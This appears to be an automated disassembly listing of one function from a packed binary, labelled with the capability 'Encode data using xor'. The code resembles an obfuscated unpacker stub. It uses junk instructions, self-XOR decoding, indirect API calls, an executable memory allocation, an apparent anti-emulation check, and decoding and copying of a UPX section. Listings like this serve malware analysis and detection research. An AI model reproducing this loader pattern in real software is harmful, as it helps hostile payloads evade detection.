Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xae31488d
inc eax
sub eax, 0xedb45a83
mov eax, edx
popal
not eax
add eax, edx
mov eax, edx
mov edi, 0
mov esi, edx
sub ecx, eax
sub ecx, eax
mov ebx, esi
or eax, eax
and ecx, ecx
add eax, ecx
mov edx, ebx
mov ecx, eax
and ecx, ecx
mov eax, 0x107ddac0
inc edi
not eax
dec eax
add eax, eax
cmp edi, 0x1005272
jne 0xa789c7
inc eax
sub ecx, 1
sub ecx, 0x80c7968b
sub edx, 1
add eax, 0xaceeecb2
sub edx, 0xe88eb2f8
mov edx, 0xa78796
sub ecx, 0xa951a414
sub ecx, 0x200a7bce
mov edi, 0xa7898a
mov eax, 0xdfc1a5ea
sub ebx, ecx
mov esi, dword [edx]
add ecx, 0x3f570c41
mov ecx, eax
and esi, 0xff
and ecx, ebx
and ecx, eax
xor dword [edi], esi
mov eax, ebx
dec ebx
not eax
inc edi
and ecx, ebx
add ebx, 0xb52ac683
inc edx
dec ecx
mov ecx, 0x51330ba1
or eax, eax
cmp edi, entry0
jl 0xa78a2e
sub eax, ebx
not ebx
sub ebx, 0xdd442f3f
and eax, ecx
and edx, edx
not edi
mov esi, 0xa7898e
mov edx, 0xb77f784b
add edx, 0x943b7b85
and edx, edi
mov esi, dword [esi]
mov ebx, 0x907c1c6b
mov ecx, 0x9ea16e47
mov esi, dword [esi]
or ebx, edi
not edx
mov ebx, edi
push esi
mov ebx, edi
sub edi, 1
mov ebx, edi
mov esi, 0xa7898a
add ecx, ecx
or ecx, ebx
and ecx, ebx
mov esi, dword [esi]
not edx
dec ebx
add edi, 0x99fd3882
mov esi, dword [esi]
add edx, 0x331e2693
and ecx, edx
add edi, 0x6b89b27c
push 0xa78992
sub ebx, edi
inc edx
mov ebx, 0xdfe6d2f2
call esi
or ecx, edi
mov edx, ecx
inc edi
pop esi
or edi, ebx
dec edi
mov edi, 0xb641f9
push 0xa7899f
dec ebx
not ecx
push eax
or ecx, ebx
sub ebx, 0x767e7f81
call esi
not edx
or ecx, edx
push 0x40
and edx, ebx
mov edi, ecx
push 0x3000
add ecx, 0x45d21042
sub ebx, edx
push 0x20000fa6
mov ecx, 0x8b76a083
dec ebx
push 0
dec edx
mov edi, edx
call eax
sub edx, 0xf36220ca
sub edi, 0x45aa994f
add eax, 0x20000f05
mov ecx, edx
mov ecx, 0xdc0130ed
not ebx
mov esi, 0xdf0ea658
sub edx, 0x199ff284
add edi, ecx
add ebx, 1
mov dword [eax], esi
add edi, edx
inc edx
not ebx
mov esi, dword [eax]
mov ebx, 0xcc77ad78
sub ebx, edx
add ebx, 0xe8ccedef
cmp esi, 0xdf0ea658
je 0xa78b80
mov ecx, 0
mov byte [ecx], bl
dec edx
or edi, edx
add edi, edx
mov ebx, edi
or eax, eax
and edx, edx
sub edx, eax
mov ebx, section.UPX1
mov eax, edx
and edx, edx
add edx, edx
mov ecx, 0xa78795
mov eax, 0x39808606
sub edx, 0xe69cfbef
sub eax, edx
mov esi, 0
mov edx, eax
sub eax, edx
sub edx, eax
mov edi, 0xa78796
add edx, edx
mov eax, 0xd63dbb65
lea edi, [esi + edi]
add eax, 0x633c0840
or edx, edx
mov edi, dword [edi]
inc edx
inc eax
and edi, 0xff
add eax, 0x218319a2
mov eax, edx
add edx, 0x77212d60
inc esi
inc eax
mov edx, eax
cmp esi, 0x1f4
jne 0xa78bf5
mov esi, 0
not eax
sub eax, edx
or edx, edx
add eax, edx
xor dword [ebx], edi
add eax, 0xab87400a
and edx, edx
add ebx, 2
sub eax, 0x64e7e264
and edx, edx
add eax, 0xafbe9856
cmp ebx, ecx
jl 0xa78bb5
add eax, edx
not edx
add edx, 0x61912605
sub eax, edx
add edx, 0x5cb0aa29
mov edx, section.UPX1
sub ebx, eax
add eax, eax
or eax, ebx
mov esi, section.UPX1
and eax, eax
sub ebx, eax
mov edi, 0xa78795
dec eax
mov eax, 0x54ed379a
mov eax, ebx
mov ecx, 0
inc eax
mov eax, 0x9437d75a
mov cl, byte [esi]
mov ebx, 0xc72a18f
not eax
mov byte [edx], cl
add eax, ebx
sub ebx, eax
inc edx
add eax, 0xb5a9a5ad
sub eax, 0xa28e4b54
add esi, 2
or ebx, ebx
or eax, ebx
cmp esi, edi
jle 0xa78c61
mov eax, ebx
mov ebx, 0xc10b0043
not ebx
add eax, 0x1287b2c2
dec edx
push 0x8dc6a0
sub edx, 0x55568371
add edx, edx
add eax, eax
ret